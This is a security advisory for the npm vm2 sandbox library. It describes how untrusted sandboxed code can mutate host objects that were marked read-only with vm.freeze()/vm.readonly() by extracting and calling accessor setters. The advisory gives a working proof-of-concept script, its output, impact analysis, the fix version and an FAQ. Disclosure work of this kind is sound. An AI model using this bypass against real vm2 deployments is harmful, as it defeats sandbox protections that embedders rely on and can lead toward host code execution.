GHSA-633r-hq9m-c4ff: Medium severity npm/vm2 vulnerability
Summary Untrusted JavaScript running inside new VM().run() / new NodeVM().run() can bypass vm.freeze() / vm.readonly() and mutate a host object the embedder explicitly marked read-only - the documented contract is "prevent sandboxed scripts from adding, changing, or deleting properties". If the frozen host object has an accessor (get/set) own-property, the sandbox can read the host setter back out via Object.getOwnPropertyDescriptor() and call it directly; the call lands in BaseHandler.apply which unwraps the readonly proxy to the raw host object and runs the host setter against it. No non-default VM/NodeVM options are required; the only precondition is that the embedder froze an object whose shape includes an accessor property. A second route to the same sink exists via lookupSetter.
PoC js // poc.js 'use strict'; const { VM } = require('vm2');
let level = 'safe'; const hostConfig = Object.defineProperty({}, 'level', { get() { return level; }, set(v) { level = String(v); }, enumerable: true, configurable: true, });
const vm = new VM(); vm.freeze(hostConfig, 'cfg');
// Baseline - documented barriers hold: vm.run(cfg.level = 'via-set';); vm.run(try { Object.defineProperty(cfg, 'level', {value: 'via-dP'}); } catch (e) {}); console.log('after [[Set]]/defineProperty:', level); // → "safe"
// Bypass - sandbox mutates host via accessor descriptor: vm.run( const d = Object.getOwnPropertyDescriptor(cfg, 'level'); d.set.call(cfg, 'PWNED'); ); console.log('after getOwnPropertyDescriptor→set.call:', level); // → "PWNED"
// Variant - same sink via lookupSetter: vm.run(cfg.lookupSetter('level').call(cfg, 'PWNED-2');); console.log('after lookupSetter:', level); // → "PWNED-2"
sh node poc.js
Observed output:
after [[Set]]/defineProperty: safe after getOwnPropertyDescriptor→set.call: PWNED after lookupSetter: PWNED-2
The first line shows ReadOnlyHandler's documented traps work; the next two show the sandbox mutated the host-side level despite vm.freeze().
Impact A sandboxed script can mutate any accessor-backed property on any host object the embedder exposed via vm.freeze() / vm.readonly(), defeating the read-only contract. Data properties are not affected (ReadOnlyHandler.set / .defineProperty block those correctly). This is not a generic sandbox escape on its own; severity depends on what the embedder froze. If a frozen object's setter feeds into host control flow (e.g. set scriptPath(v), set handler(fn)), this becomes a stepping-stone to host code execution in that embedder.
Preconditions: embedder calls vm.freeze()/vm.readonly() on a host object that has at least one accessor own-property. Default VM/NodeVM options otherwise. Blast radius: integrity of the specific frozen host object(s); downstream impact is embedder-defined. Persistence: as persistent as the host object (typically process-lifetime).
Affected Software
Remediation
Recommended actions to resolve this vulnerability, in priority order.
- Upgrade
Upgrade
npm/vm2to a version that resolves this vulnerability.Fixed in 3.11.7
Event History
Frequently Asked Questions
Who is exposed to this issue?
Applications using npm/vm2 to run untrusted JavaScript through VM or NodeVM are exposed if they provide sandbox code with a host object protected using vm.freeze() or vm.readonly() and that object has an own accessor property.
What does an attacker need to exploit it?
The attacker needs the ability to run JavaScript in the vm2 sandbox. They can retrieve an accessor setter through Object.getOwnPropertyDescriptor() or __lookupSetter__ and invoke it to mutate the underlying host object.
Are non-default vm2 options required for exploitation?
No. The issue does not require non-default VM or NodeVM options; the relevant precondition is a frozen or read-only host object whose shape includes an accessor property.
How can I identify potentially affected integrations?
Review VM and NodeVM uses that call vm.freeze() or vm.readonly() on objects passed into the sandbox. Objects with own getter/setter properties, especially setters, are the relevant cases to investigate.